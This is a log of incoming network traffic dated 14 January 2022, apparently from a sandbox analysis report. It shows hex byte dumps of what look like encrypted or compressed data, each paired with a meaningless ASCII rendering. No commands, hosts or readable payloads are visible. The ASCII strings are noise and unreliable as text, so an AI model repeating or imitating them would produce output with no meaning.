Data Ascii: MCy1-z{`+bwJz""f8zi~cWg*|}gVXNHIyw`6!7agi*SA.^{T7tUCO{1/c+`^[@g7+|{QQ':1B&hRh/IZW8ttVs)sY

2022-01-14 11:23:08 UTC 3590 IN Data Raw: 65 aa 9e 16 75 d2 f8 01 ff 5e c5 7d 42 3a c2 3e b1 e3 6d 6e ed 2e c1 c5 19 98 7a 6d 21 e8 b6 ef fd 7a 19 5b 2f 
2c db 4f 15 1c 22 c7 56 7e ea 87 59 70 26 d3 2f fd 17 a3 b0 03 6f 03 25 fe 4b 3c 8f 87 0a 16 96 7a eb d8 92 81 3f 3a 9e 66 
9a a1 71 32 9a 0d fb 81 9b 2f d2 96 b5 4d df 44 f7 a8 11 44 a1 0d 42 82 a3 01 93 01 d5 2d 2b 6a c4 e0 dc 4c 71 34 58 0b 
98 33 7c fe d8 bc 4e 50 fa d8 f5 26 b5 e8 0b 36 e2 cc fa 39 79 94 1b 5d 50 a9 b7 9c 02 5f 5b ac 58 bb 56 fd 75 67 a1 67 3e 
ce 6b c3 ed 2e 0a 89 f2 19 f5 e8 9d 52 5f 67 4a a2 65 33 af 35 94 f9 01 a6 1f 41 09 39 9d 60 41 1b 77 b4 2a 2d 6d 27 dc 
ea 6d a6 f2 d3 6e a4 64 ac 2b 7a e6 fb 51 58 2c bc 30 06 04 c1 d6 15 aa ac 2f 1a ad 6c ef 89 9b 9a 54 e0 6d 59 56 95 8c 
70 4e 64 7a d9 10 91 f7 b6 63 5f bd 79 4c e0 b8 
Data Ascii: eu^}B:>mn.zm!z[/,O"V~Yp&/o%K<z?:fq2/MDDB-+jLq4X3|NP&69y]P_[XVugg>k.R_gJe35A9`Aw*-m'mnd+z
QX,0/lTmYVpNdzc_yL

2022-01-14 11:23:08 UTC 3606 IN Data Raw: d4 ee fe 05 26 f9 25 aa 21 95 ef 62 ca a5 28 82 53 08 6f f7 38 a3 97 93 04 48 19 38 8d 93 48 35 9e a4 ef ff 3c 
68 4a 5e 07 65 c6 fa 68 bc a7 f9 a0 39 ca 13 19 72 27 b2 8c e0 53 9b 22 9d 6e 96 2b a5 23 8a 14 37 e0 b2 cf 1b 7b 0a 58 
56 b6 9e 46 c6 d8 3b c3 03 76 7f 6b 7e b9 c3 b6 e6 6e a3 a7 de 8c 99 43 71 12 66 83 97 f9 be 40 c3 a7 33 9a a0 62 ba 12 
ce 49 b9 e0 53 3f 5f 9e 31 ea bb de 4c 48 50 ee 91 96 39 b7 66 e0 bc bd c4 ee 5f fd 72 e1 d4 ca 8b 41 1e 8e 42 a7 c7 b3 
4c a4 97 dd 44 3e 68 ca 41 6c 6b a6 5c 29 cd 9b f8 28 3d e5 f4 1a 00 8e f3 e6 47 1d 9f 30 16 74 79 8e 71 2c a4 5e ba 44 
b7 a7 92 48 90 47 5e 21 eb 62 9c 2b a1 db 09 84 71 5f a9 09 9b 1f 80 c1 35 14 4d 58 ef d2 da 16 56 23 f7 07 54 32 10 67 
58 7c 9d 15 85 b9 c1 c5 19 10 81 ea 8b 20 c9 a0 a7 ed 
Data Ascii: &%!b(So8H8H5<hJ^eh9r'S"n+#7{XVF;vk~nCqf@3bIS?_1LHP9f_rABLD>hAlk\)(=G0tyq,^DHG^!b+q_5MXV#
T2gX| 

2022-01-14 11:23:08 UTC 3622 IN Data Raw: 50 90 d4 dc 4c 52 77 06 4e c2 ea 91 67 04 c5 e2 cd 45 5f 97 77 5d b0 3d 42 e3 de 8f 85 08 f4 07 f7 7d e2 a7 ea 
36 ae 56 02 8b e2 f3 2e 67 fb 69 89 b9 dc 6f f8 a5 aa ba d2 82 71 01 d5 df 13 8b f2 40 db 07 b9 59 15 5f a2 5f 48 8a d9 46 
44 15 91 47 bf 0f a2 40 16 67 06 78 17 cd 8e 86 d4 bf 28 63 c0 e8 ca aa c8 f4 da c5 50 c6 16 f6 23 40 f0 01 dd 72 53 1f c6 
67 43 69 44 be 25 71 28 b6 ac ff 23 03 66 45 b7 24 9e 00 2c 2e 9a 76 44 ea 9f 1c 1f 6d ec 02 6d 02 0a a9 5d a1 e6 30 7f 
1a 36 9f b5 1b a5 88 13 ba 71 b5 d2 8a ef 57 3e 70 46 a7 d9 74 a8 af 42 5d 02 bc f2 5e c6 64 f1 94 4f 4c ed cd 46 5b f9 e4 
fe 4a b9 e3 b5 0e 9b d0 51 fa a0 f0 ed 6a 07 3b 43 1b bc e9 65 d6 15 c5 36 d8 09 c4 61 d0 b3 a8 c2 f6 80 63 7c 33 21 ef f7
e7 fb 8b 90 1f 76 8e cf 61 e3 b3 ff aa c3 
Data Ascii: PLRwNgE_w]=B}6V.gioq@Y__HFDG@gx(cP#@rSgCiD%q(#fE$,.vDmm]06qW>pFtB]^dOLF[JQj;Ce6ac|3!va

2022-01-14 11:23:08 UTC 3638 IN Data Raw: 3f c1 2f 25 52 5e f8 47 63 ef ec e7 11 5f 95 b9 56 b7 4c 8b 11 66 c7 18 fa de d5 a2 17 70 fd 1c 8c 6f 0b 04 34 
68 aa 26 4b 7d ea e4 87 08 ed 1b ac b6 4e 9f 2e 2c c0 e0 b4 31 12 54 15 e2 d0 fd e3 e6 72 e5 f6 81 96 ff 96 d8 8a 06 79 
03 71 0b f2 8f d3 37 18 1b ce 1c 34 7b 17 b9 af 77 70 b3 23 35 6d 90 c9 a6 47 27 55 7f 73 75 23 7a 2a d9 e1 51 00 d7 ef 
ef 30 86 ed 2d b2 aa 31 0f 79 ff 93 53 5d cb 4b 48 6e 7f dc c5 67 31 98 a9 08 fd cb ac 05 25 cb 85 da 8d 94 9a 70 71 f6 2c 
47 16 c3 55 80 d7 bc 2d 40 7b 32 02 8d 2c 11 0a e6 ac 78 95 4b 60 1e 74 56 81 e4 04 47 71 1a eb ce 14 e8 8f 57 b9 a2 
c6 e9 e0 6b 0b ba fd 57 ea 71 28 8c 2a a2 c5 a1 71 38 de 68 b1 34 13 70 c9 b6 b2 8e 95 74 73 52 ca ba 8a 42 73 f1 69 9d 
fe 37 2d d5 74 73 0f e0 f7 2e 0f e9 27 02 14 20 50 6d 
Data Ascii: ?/%R^Gc_VLfpo4h&K}N.,1Tryq74{wp#5mG'Usu#z*Q0-1yS]KHng1%pq,GU-@{2,xK`tVGqWkWq(*q8h4ptsRBs
i7-ts.' Pm

2022-01-14 11:23:08 UTC 3654 IN Data Raw: 9f c8 79 08 f0 59 8e a7 c6 f6 e7 0d af 83 8f 04 91 f4 7b f6 8f 13 63 7e 8e df 9c 0d d2 89 d9 d3 ee 08 d2 cf 61 7f 
90 01 d7 9a ce 1d 04 33 94 93 2b 55 b3 5b bb f8 86 fa f7 cf 3d c1 51 5d db a8 ab 46 d1 ea 5b 1d c4 ef ae 7b 36 e0 b7 43 
c4 1b a2 56 be b7 95 80 e2 da 96 22 3a bc a7 0c 2a b9 97 d0 a3 79 27 8f 5c 48 de 67 01 54 cf 09 ad 37 4c dd 8c 09 b8 88 
f6 1f 8b ba 5b e0 84 80 53 0d f7 30 43 04 ac f1 b0 07 42 8a 7b 65 e9 19 5f 5f 20 20 63 83 77 96 58 17 83 41 c2 fa 79 2a a5 
71 40 ae 66 2a 57 c0 d7 cf 62 c8 2f c4 2f 85 30 61 b2 a2 e6 70 1d 6f 5e 21 ac a2 aa 6e 08 17 fd 51 6f 10 fe 86 10 69 8b 32 
b5 39 7c 41 b5 22 a0 34 a9 ab cf ac ea 14 8e dd 07 5f 15 96 ca 5a 34 e3 13 9f 20 94 48 30 14 e8 c2 c9 99 60 34 53 5a 8b 
94 a6 99 3a c1 3c 02 0d b2 f4 b6 fe 22 ae 8b 
Data Ascii: yY{c~a3+U[=Q]F[{6CV":*y'\HgT7L[S0CB{e__  cwXAy*q@f*Wb//0apo^!nQoi29|A"4_Z4 H0`4SZ:<"

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 3670 IN Data Raw: da da 20 48 c7 cf db 9d d9 57 2a 75 78 44 aa c8 49 17 67 07 f1 81 63 bc 7e 71 19 60 ab a7 95 37 87 af 2b 51 
37 63 0c d1 05 e6 a8 e1 a3 83 dd 46 d9 b0 b9 d8 87 67 21 8f 2d ea 88 cd 96 9a 86 b1 a2 9d ca 1f 70 37 52 d6 cc 7a 92 33 
1a b3 bf 09 64 e9 d5 9d 07 ac b1 c4 c9 c1 9a 8a 68 0a c7 a9 17 30 2d 07 f0 f3 81 35 0f e0 e3 99 dc 23 bc 15 8c 09 91 7d 
8e 2e af b4 84 f2 0d c4 ce aa 56 ee cd f8 87 47 30 74 18 cd 6e 9d cb f4 a8 c5 23 a4 1e db 1b 59 f0 6f a4 05 42 8f 9c 73 65 
2d a5 84 78 1f 03 ce d3 aa 96 e1 5d 52 c6 bd ab 00 bf 8b 63 f5 85 bc c2 7b f4 b8 8f ef 42 74 83 7d 9e 29 6e 2f d1 6e 5f 87 
dc bb 5e 89 35 0a fa 8d 0c 50 86 cd 8a 10 76 31 70 58 b2 57 2b 2d 88 c2 30 aa b1 7a aa 0b c4 63 32 5e 39 71 7b b2 90 
e5 e4 b3 5b cd 29 94 58 62 9e 57 d7 26 83 2a 72 22 d3 
Data Ascii:  HW*uxDIgc~q`7+Q7cFg!-p7Rz3dh0-5#}.VG0tn#YoBse-x]Rc{Bt})n/n_^5Pv1pXW+-0zc2^9q{[)XbW&*r"

2022-01-14 11:23:08 UTC 3686 IN Data Raw: ad f3 08 5f fc c0 37 9f 1a e2 c9 e1 81 e8 31 82 43 ef 39 27 2b 4f a0 a5 f1 18 9c bb 1c 0d e2 03 e9 5b 23 51 59 
7e fa ff f7 80 95 a0 e9 59 79 79 c6 8e c0 08 54 b5 08 f8 3c 4b 60 3a bf 61 f1 8a 32 13 c5 70 6d 3f 4d a1 82 e3 cc 7e 6d 2e 
93 f4 09 26 12 e5 f4 c4 41 87 90 84 cf 15 bf b8 de 4a 42 04 b8 54 43 e0 ff e0 dd 25 4f 7b 9d 92 e4 81 b6 0d 0d 3c bf dd 78 
78 3a 49 58 6c d7 40 a1 0b 47 db 1a b1 55 5c d0 b3 c5 6b f3 a6 2f 99 8d 20 c7 41 6f 4a d8 ca 89 b9 f3 75 02 db 04 6a 63 
19 47 6e 32 fb bd d7 8d 78 91 1a cb 77 40 63 9c d9 81 6a 7f 86 85 9a e2 3e a7 3f 71 bf 33 4e 4a b9 e4 6e 5a 6c 29 eb 42 
79 ff e1 4d 22 fa 3f b5 db d8 8f 21 8b c5 a6 20 02 63 f4 a9 b0 a9 2a 8f a3 2b 77 03 7e 3a c5 4c fe be a7 f8 2e 52 f2 52 72 
94 85 44 2a d2 26 8c 13 b7 64 84 b0 78 24 4f 
Data Ascii: _71C9'+O[#QY~YyyT<K`:a2pm?M~m.&AJBTC%O{<xx:IXl@GU\k/ AoJujcGn2xw@cj>?q3NJnZl)ByM"?! c*+w
~:L.RRrD*&dx$O

2022-01-14 11:23:08 UTC 3702 IN Data Raw: db 3b de e5 bb c1 b6 e2 06 cf 03 77 39 aa 87 92 16 1c a8 55 f1 60 db 79 d7 8d 70 27 24 2b e8 25 6f 8a b8 18 
72 69 48 54 46 17 cb d4 fd d9 16 b8 97 b3 89 7d 59 18 38 91 46 06 8d 4f 13 75 e0 94 ab 5e 57 53 90 68 8d c7 be a3 6f 2d 
ad 94 d5 07 55 60 17 ac d9 d9 18 6c c8 8c b3 ef d8 ad 20 cf 42 6f 65 ec b9 e5 67 47 4a 8a d1 da d9 ed 5a e3 c1 0e 34 c6 
5d eb b2 c2 16 96 fd 00 5d d0 79 3c d3 6c 77 6e 54 a0 c8 f6 38 25 eb c1 5d 64 45 8d 23 58 a8 f6 d8 f4 29 89 16 b1 26 47 
15 69 5b cc 79 ad 5a f8 e1 77 8c ca 34 96 5a 3e 8d 04 f5 41 48 48 66 fa 6f 81 c6 97 e5 82 47 e2 ae 22 06 23 77 9e 35 c4 
1c fa 33 69 90 65 91 f0 d1 6c f9 6a 0f af 26 1f 3b d8 4d cb 80 64 ab 9e 6d b5 ae f8 59 43 0f 14 71 70 65 1d 3c 0a 03 d9 45 
05 f8 2d 80 42 44 89 06 50 6f ab a8 ff b8 b8 23 98 3a 
Data Ascii: ;w9U`yp'$+%oriHTF}Y8FOu^WSho-U`l BoegGJZ4]]y<lwnT8%]dE#X)&Gi[yZw4Z>AHHfoG"#w53ielj&;MdmY
Cqpe<E-BDPo#:

2022-01-14 11:23:08 UTC 3718 IN Data Raw: a5 d5 2b e0 c3 c9 eb 7f e2 e1 dc c3 11 2f 2c 17 ef 9f 2b a4 d8 0e 5f 4f b6 88 30 a7 2f cd 57 62 4a 34 8d 24 cd 
77 f9 47 fc 67 f4 58 e1 58 2a b8 0e 7b f9 42 f1 c5 aa cc 23 d9 ac 65 29 60 2a c3 36 08 11 b5 98 1a d0 03 d0 1e b6 ae 97 
51 0a 40 ff 05 f3 00 00 3c 8a 3c 5d f4 67 35 4c ea a2 dd 82 d7 c6 6d 63 58 be 57 58 c2 9b 36 37 21 f2 57 d5 ed e3 32 5a fa
24 66 32 44 bb f4 85 a8 54 08 6c 86 4d 74 a1 b6 a6 a2 d8 b2 9b 30 60 0e bd ca 15 9b b3 37 6c c3 f9 4d fc 0e f2 cc 0a 04 
15 67 4b a7 8a 9c 74 6d ff 1e 9a e2 d6 dc 81 a2 47 59 49 b5 df ca 02 5b 71 e1 9a ce 06 4f b4 0c 73 b5 a3 3c e6 7a 9b 56 
52 61 ce 2e fb 89 73 bc 03 67 85 4e b8 0e 29 9b f0 e6 d7 d2 1f 71 0f 07 d2 d8 d5 56 20 6c 54 7f 5c 44 d1 cf 26 6d 60 e8 
7e 14 93 0e ce e2 94 92 39 96 81 3a 13 32 01 bc 88 
Data Ascii: +/,+_O0/WbJ4$wGgXX*{B#e)`*6Q@<<]g5LmcXWX67!W2Z$f2DTlMt0`7lMgKtmGYI[qOs<zVRa.sgN)qV lT\D&
m`~9:2

2022-01-14 11:23:08 UTC 3734 IN Data Raw: df 9e c1 d9 6f c1 e6 62 9b ba ef 35 46 04 f2 79 15 85 55 46 6b 88 ac 2d 99 f5 ff 46 8a 3e 1f 77 85 52 c1 a2 26 
98 99 13 91 f2 81 44 0a 7d fb f9 de ee 50 84 c6 10 d5 47 a9 9e ef 85 16 a5 64 67 12 d0 37 60 98 36 b3 fb 03 af 9a ad 07 
45 4a 92 c5 20 4a d5 f0 d6 67 70 b5 b7 ef 33 38 e4 fe ad 8c 34 12 17 10 99 cc 86 8b 7f a2 70 70 94 f0 7b ef fb 41 6d ed 4d 
52 a5 5f 22 32 9a cd 07 81 e6 bc 70 24 fe c4 d9 da 9f 14 78 fe 5e 46 eb 01 6b 1e 90 d2 99 c5 6c a6 36 d7 ce c4 ad 50 ba 
35 12 c1 66 08 78 d0 19 43 be 16 99 3b c5 d6 ba 36 ab 35 e0 d5 5e 7b 26 d7 fe e8 c5 68 41 24 01 3e 0d cd 97 60 7a 3c 
b4 39 d3 6a dd 10 c3 6c f3 6a 92 50 87 a7 ec 93 77 f3 f8 e9 d2 16 69 8a 7d 9f e4 d9 4e 3a 3f f2 0a f6 a9 17 d5 77 1e 50 35 
e7 05 d7 92 31 cb ca f3 ba 31 0e a5 2f e7 ed d8 e8 
Data Ascii: ob5FyUFk-F>wR&D}PGdg7`6EJ Jgp384pp{AmMR_"2p$x^Fkl6P5fxC;65^{&hA$>`z<9jljPwi}N:?wP511/

2022-01-14 11:23:08 UTC 3750 IN Data Raw: a0 46 ec d3 b9 e0 69 7b 16 ca da 6d ec 0e 57 0a 50 94 61 4f fa 71 81 28 48 a5 92 bf c7 2c 73 8e 3f 5d 29 51 0d 
04 4f e8 38 69 11 52 02 a6 a1 72 ef ac 44 c4 bf c4 65 7b ff ea c0 55 4c de 54 df c7 33 33 16 a6 33 6b 31 4a ee 59 31 40 eb 
46 1d 6f 30 23 4b 2b ca f5 4e 35 ba 70 d2 b0 27 26 a2 66 7f 9b ac 95 cb e9 5f e5 28 92 f2 44 69 d7 2d e9 83 51 e9 17 18 
63 c9 99 67 35 58 a8 5e d3 a7 55 32 69 c7 c7 04 1b 3d fa b9 b5 1f f0 71 81 fa 90 80 f6 4c 0b 51 59 3e 68 e2 c2 b6 56 d3 
69 54 b4 94 99 79 bf b9 a8 83 9c 4e 0f 51 da bb 5c fa 87 c9 ba 21 64 43 de d5 f5 77 f0 58 d7 35 e7 6d e9 e3 62 76 e8 28 
1e 79 27 b2 a7 3f 21 12 2d d2 a8 e1 4a 82 2b 1c 35 c0 53 a6 d7 f0 d1 47 9e 46 8f 86 56 af 8d f9 20 cd b1 ba 58 8b 9b b5 
29 eb de 7e ef 81 bf a6 23 e3 ca 49 06 ff e8 96 d7 
Data Ascii: Fi{mWPaOq(H,s?])QO8iRrDe{ULT333k1JY1@Fo0#K+N5p'&f_(Di-Qcg5X^U2i=qLQY>hViTyNQ\!dCwX5mbv(y
'?!-J+5SGFV X)~#I

2022-01-14 11:23:08 UTC 3766 IN Data Raw: 0f e0 d3 46 b5 9a 9b 99 d3 28 82 59 27 56 f5 81 66 06 b3 24 b3 84 90 5a e0 d7 52 ed 83 4a 90 11 8d d2 96 71 
54 0e c8 5f c3 54 53 a4 22 13 99 72 3c 51 44 00 d4 1c 24 66 a0 74 0a d4 fc 88 7a fc 41 44 7a 3a df 74 e6 2d c4 c3 ec 88 
00 c2 40 06 62 9b 27 02 d9 7a 67 12 97 c5 cd f1 84 fc 90 3a 0d 8a 84 93 3f c2 53 26 fc 7f f1 28 5b 9e 43 2f 0e 77 4b 58 99 
e4 7f 46 3c 28 57 cb a0 a6 a2 b1 9a 03 15 25 71 a4 77 88 31 18 fd 42 ec fb de aa 46 3d 98 ff 64 9f cb 07 7e 5c 7c c9 1a 
04 b5 71 8b f0 bb c5 28 5b 31 99 db e3 06 7c c3 ad 80 87 be e6 55 33 57 41 f2 ac b3 d1 c3 cb 6d 80 32 be cf f7 11 8d e8 
4d bd cc e6 e6 d1 33 db 4e 1f bc 0e 60 12 74 86 cb 7e c9 d3 f6 b0 cd 65 4d c6 af 77 d8 eb ce a9 09 a9 72 d5 08 61 ab 3a 
8d 14 a4 89 41 fa f7 47 6d b7 e6 2d 2f 47 eb c6 30 55 
Data Ascii: F(Y'Vf$ZRJqT_TS"r<QD$ftzADz:t-@b'zg:?S&([C/wKXF<(W%qw1BF=d~\|q([1|U3WAm2M3N`t~eMwra:AGm-
/G0U

2022-01-14 11:23:08 UTC 3782 IN Data Raw: 4e f3 3f b6 2c e6 49 bf 38 08 ee 58 a2 25 04 73 6f 79 29 4a be 8e a3 e9 7f 7f 7f e8 58 55 d2 0a 66 d4 c8 b4 6d 
59 a9 ef 26 97 e8 63 72 6d 40 45 10 52 7c 2c 35 be ba 8b 0e 50 bd d6 57 2a 81 62 2d e4 d7 40 2b c1 87 60 8a 9b e2 7f 36 
b0 ea 26 c1 77 be 45 d8 62 9b 6d 47 02 84 cf 64 f8 ac 25 da 9d df 12 3a aa 6f 08 8a 79 10 3b 3f 4d 4f 75 69 54 88 a8 ba 
30 9d e7 87 ce 52 b9 87 22 8d 9a c4 1d a0 91 cb 18 2c 34 94 e1 fe 35 e0 47 8c f8 fc cb 85 d7 8e 22 42 0d 8b d2 b3 c6 6e 
85 c8 7e 45 4d 5a ad 76 41 70 99 e4 17 35 97 1a cc b1 b7 62 5e 75 45 e6 43 52 84 67 3f da e3 70 68 0d c1 96 b4 d7 3a 
91 3d e7 b8 16 7d a8 43 c4 ec 91 1d c2 96 9f 29 46 ab bf eb 8c a0 35 53 f3 5e 8c 53 a8 01 a9 e0 63 7a 41 f7 90 40 54 47 
b1 f8 8d 67 5f 67 4d f8 aa 0a bb 10 1f 9a a1 b1 9c 3f 49 
Data Ascii: N?,I8X%soy)JXUfmY&crm@ER|,5PW*b-@+`6&wEbmGd%:oy;?MOuiT0R",45G"Bn~EMZvAp5b^uECRg?
ph:=}C)F5S^SczA@TGg_gM?I

2022-01-14 11:23:08 UTC 3798 IN Data Raw: 82 d1 11 50 5c 2d e1 f0 48 eb 31 48 8f 35 3c 97 03 71 60 20 79 8e 88 13 80 84 21 c1 18 5e 61 6f 93 9c 39 02 
ba 35 82 4c bb ed 57 59 7d 87 83 eb 0c d4 84 ab ff 77 7b e1 00 8d d9 58 e8 c3 65 22 ef 47 c7 dc 43 1f 7b 4d 08 ec d4 6d 
c7 d9 2d 8e ca 22 47 a4 6b f0 5c 3b 04 02 27 e8 14 13 c5 84 06 c9 d0 7f 5b 1d 35 56 f7 ac 88 38 44 98 3c 9c 6f 25 13 c3 
1d 1d 7b 8f ce ea 75 bf 57 43 93 a5 53 df 53 72 f9 0c 7f 1a c7 2d fc 6a 04 82 74 4c 76 64 c6 8e 13 69 7f fb 43 04 b1 25 3f 
41 1f 70 7b f1 38 cd 8a ba f9 de e2 e3 1a 02 96 0d 7b 0b 94 11 29 75 3b c0 c6 4a 1c b6 16 3a 09 00 0b 3c 05 f1 b8 d6 cb 
59 f5 aa 23 7f 24 03 c5 ba 39 4e 28 dd 16 d9 a8 47 7f c2 61 82 dd bd 08 52 ca a7 9d e4 49 7b ca 0b 73 69 e9 1d 57 96 5d 
ec ba f4 13 fd 86 8d d2 d2 b8 07 36 e9 ae f1 9e 0f 9b 
Data Ascii: P\-H1H5<q` y!^ao95LWY}w{Xe"GC{Mm-"Gk\;'[5V8D<o%{uWCSSr-jtLvdiC%?Ap{8{)u;J:<Y#$9N(GaRI{siW]6

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 3814 IN Data Raw: 41 76 ba 5f 80 31 5b 5d 66 6d 3a a4 b9 e8 51 bf f9 a9 7b ce 67 98 33 64 38 d8 1a 3d d7 eb 55 90 3e 09 af 68 
5a 98 62 17 a1 a4 61 8d 28 2a 34 a3 f3 33 0c 7c 6a 90 d1 ed a1 1d 3d f2 43 12 8e 14 3a 19 9a e1 0d 5a 5c ac 8d 89 52 8e 
37 20 e7 54 7f 76 1f 0e 71 25 96 6f 6c 95 90 30 0b 04 57 1b 2f bf c4 73 b3 7f 2b 87 3c 46 fa 84 63 80 13 13 a6 64 34 df aa 
7b e1 35 19 2c 72 a2 8f d0 e1 a8 a8 a5 df 22 b3 ca 59 c8 99 b4 49 a6 09 b2 be f6 81 0d 49 7c c1 26 49 6f 9e 1e 00 9e 95 
70 e1 1a 5a 82 cd 43 be 22 90 4b 83 4f 92 e5 e1 83 e1 8e 8e b1 ef ab 4a f5 8d 3e 7b b8 e8 d7 0c a5 cb 59 ba 5a 04 05 19 
e1 ec 31 9c 2b 23 2d 9c 1a 67 3c d2 ec 21 d6 3b 8e da 29 a1 9a e7 c5 3c 4a f6 31 01 c1 2d ae 4f 47 a6 15 2a 3c e9 61 53 
56 30 81 a9 be 9a 69 97 6c f0 70 04 06 eb 88 61 43 be 
Data Ascii: Av_1[]fm:Q{g3d8=U>hZba(*43|j=C:Z\R7 Tvq%ol0W/s+<Fcd4{5,r"YII|&IopZC"KOJ>{YZ1+#-g<!;)<J1-OG*
<aSV0ilpaC

2022-01-14 11:23:08 UTC 3830 IN Data Raw: d1 8b 07 a3 58 2c 12 0d 44 ea 1c fe 60 a6 2b 90 b1 7c 54 a3 c0 27 67 7d f7 d8 91 ae 2c 74 8f 58 59 ed b4 e6 
dc 97 cd 26 cb 59 87 cb 64 b0 b2 32 3f 50 66 db 70 35 78 90 b8 bf ca db 50 c3 46 61 39 fe 27 b9 28 b1 35 69 c1 d8 15 9d 
5a 46 ff 04 83 8a c7 6a 8a 80 9c 09 60 5e 0e 0b 1c d9 a4 f2 5b 4e 16 88 5a a6 32 e4 10 bb 7f fb fd 16 d1 c0 cc c7 1b eb 12
ea 7b d3 ac 71 0a 17 75 f8 44 ab 97 ca a2 c8 74 50 5d b0 5d 71 2f cb 51 4c a6 ce 36 ca 39 f7 7c 2d d0 3d 58 d1 45 73 2c 
5a 3f 35 2b ca 7b 6f e9 52 36 cb 98 ae 3a 2d 68 dd a0 ff fe bc a2 bf 9a 79 6b 6c 48 d7 e1 c9 c2 89 32 70 29 8f 86 2b ca f4 
88 d8 20 ff 43 b5 1b b9 4b 69 8e b5 ff 5e 37 0b c9 f8 81 24 02 72 4b 95 1a 33 dc cc 82 eb 01 b0 0e 05 4c cc 73 c7 57 ea 
53 71 27 0c 5a c7 b4 6c d0 58 c6 be 61 27 f9 1e 38 
Data Ascii: X,D`+|T'g},tXY&Yd2?Pfp5xPFa9'(5iZFj`^[NZ2{quDtP]]q/QL69|-=XEs,Z?5+{oR6:-hyklH2p)+ CKi^7$rK3LsWSq'Z
lXa'8

2022-01-14 11:23:08 UTC 3846 IN Data Raw: 75 23 8a 8d ff 6c 8b 30 f8 9e 50 45 8e cd 5e 81 32 14 bb 56 94 7e 80 58 a0 f2 4d 47 32 d5 3a bb c9 02 ce 7b 38
d5 b3 9c 30 ad fa 10 0d dd b7 48 82 97 97 f1 ef 75 4b b0 70 ab 07 b1 90 09 b8 37 ce 18 4f cf c9 a3 98 fa 1c 24 d4 af d7 e9 
b6 5d be 32 89 33 cd 91 40 95 95 a7 ab 2a 77 2c 03 0d 83 aa 4b 80 03 50 66 02 a8 07 ea 94 6b 2b ea 8b 4c 18 2a 6a 54 
a1 64 c3 35 d8 3d 57 9d 0e b4 51 95 9f 3e 1f d9 18 f1 fb e4 aa 7d dc cd 5c 34 d0 21 92 44 ae 17 9e 42 fc 38 dd f8 62 59 1b 
f1 de 5d a0 f9 e9 00 70 81 1e 1f ef 02 97 fa c1 ac 3a fb ff 49 b0 eb 2c eb f6 80 19 ed dd d9 e1 5e d0 6f 8e 9a 81 b2 57 0f d6
a4 9c b0 d0 ed 15 dc f7 9b da d0 51 d4 8e 1b cf 65 10 fd eb cf 55 c4 d7 2e 71 09 bd 13 8a b7 d4 cf 4c b7 67 b4 e8 ae a2 
b3 11 5f 86 4a 1c 98 f1 90 5e 37 43 f5 f5 55 
Data Ascii: u#l0PE^2V~XMG2:{80HuKp7O$]23@*w,KPfk+L*jTd5=WQ>}\4!DB8bY]p:I,^oWQeU.qLg_J^7CU

2022-01-14 11:23:08 UTC 3862 IN Data Raw: 6e 23 4d 7d 07 45 64 83 4b b4 63 06 0f 77 24 f1 11 77 66 6f 74 ff d8 e3 91 78 01 8a 3f 96 f2 81 8b ff b4 a6 9a 
9c 2c af d7 0a b7 74 15 d7 c3 5e 61 1c 9e e4 22 da 88 35 56 03 61 90 a5 de f5 61 20 7f 62 eb 71 cc b2 df 46 c6 05 5c 88 
64 05 fb 2a ba 43 2f 8f 9c 28 aa a2 7c a7 62 3d f7 94 c4 da 3e f5 06 30 ef 28 16 72 08 12 a0 42 c1 c7 5d 1d f1 06 7a 07 be 
3e 69 9d e9 25 46 64 5c e7 0f 42 a1 bb e1 6f b2 5b d7 a8 9b 7d 6b 08 90 ca 40 d5 d6 58 56 9a a6 6e 88 31 cd b3 b7 e9 2c 
e6 82 b4 dd ac c7 9e 81 33 14 8c 00 b3 92 c5 c3 93 ff 27 d6 5a f4 0e 38 ac c5 32 f3 c8 95 a5 5e 3f 40 0c 60 f5 6d a4 33 68 
21 36 d4 9a 15 f3 03 72 70 47 87 4d 85 ac 71 6f 78 1a 34 3d 51 f3 b3 c6 8a a0 dc 6f e8 23 b2 c8 f9 69 5b 33 f7 67 82 d9 
88 48 7a 6f 7e b5 c6 a5 96 fe 03 43 eb 73 dc ca 
Data Ascii: n#M}EdKcw$wfotx?,t^a"5Vaa bqF\d*C/(|b=>0(rB]z>i%Fd\Bo[}k@XVn1,3'Z82^?@`m3h!6rpGMqox4=Qo#
i[3gHzo~Cs

2022-01-14 11:23:08 UTC 3878 IN Data Raw: d1 ec 14 cb f1 92 8d 61 0e 2f f5 ca 5a 63 a5 ba 28 b5 ae b1 48 b7 24 1b c3 76 d6 11 65 bc bb 5d 32 49 bb ba 
ba 74 ad 67 91 cc 3c ae 4b 25 0f 29 9d 39 12 75 de ec f3 02 eb 71 07 b6 bb 44 8e 4b 0c 48 c8 50 1d ae cf 70 9b f9 30 3a 
a9 f6 e3 53 75 3f 22 29 12 b4 3b 38 a8 0d dd 40 28 54 9b 7a 23 db 1b bf fc da 69 a9 dc 75 09 f9 43 9e 91 a9 b1 1f e3 2f a9 
f4 21 5c 3d f3 b6 f7 d8 3f df 68 a1 da 3c c1 c0 08 9e 99 ed fa a0 73 c3 94 96 f3 d1 0b 86 d5 5a 25 4e e6 98 32 1c 0b a3 04 
d0 93 f3 6c 37 9c 0f 5c 9c 48 25 2c 74 03 71 02 92 1b 37 36 a0 ba 90 09 75 1f 20 5d 90 1a 0c 42 90 94 3c ea ea 02 5e d4 
8d d6 7c 85 91 dd 0c d9 45 e5 a3 fa 98 e3 75 16 8e 7f f5 0d 70 6e 48 a4 31 e0 60 ea cb d2 dc fa 39 30 23 27 eb 01 f9 68 
e1 b0 18 95 8b ee 8c e7 bc b1 ec ae 3f 4e 80 30 3c 
Data Ascii: a/Zc(H$ve]2Itg<K%)9uqDKHPp0:Su?");8@(Tz#iuC/!\=?h<sZ%N2l7\H%,tq76u ]B<^|EupnH1`90#'h?N0<

2022-01-14 11:23:08 UTC 3894 IN Data Raw: 21 9e cd 9b a0 28 4b 17 c4 c6 c8 ee df c4 1d f2 22 9f d5 3c 8a be ea 08 c3 49 98 4b 7f ef 5d cf 7d 3e b0 01 82 
5e 10 ce 55 10 6e 64 09 ef a7 02 74 b7 d5 1a 36 b3 41 aa f3 0d 31 fe fc ee cf c1 b6 af b9 91 8e 3e 26 41 59 76 3d b7 4a 
9e db 5d c2 f5 93 bc aa 9f 83 44 ac 0a c5 a1 25 2a 46 37 8d d6 b6 3f be 05 3d 55 35 c0 67 20 41 ea 90 10 ba f2 bb 44 79 
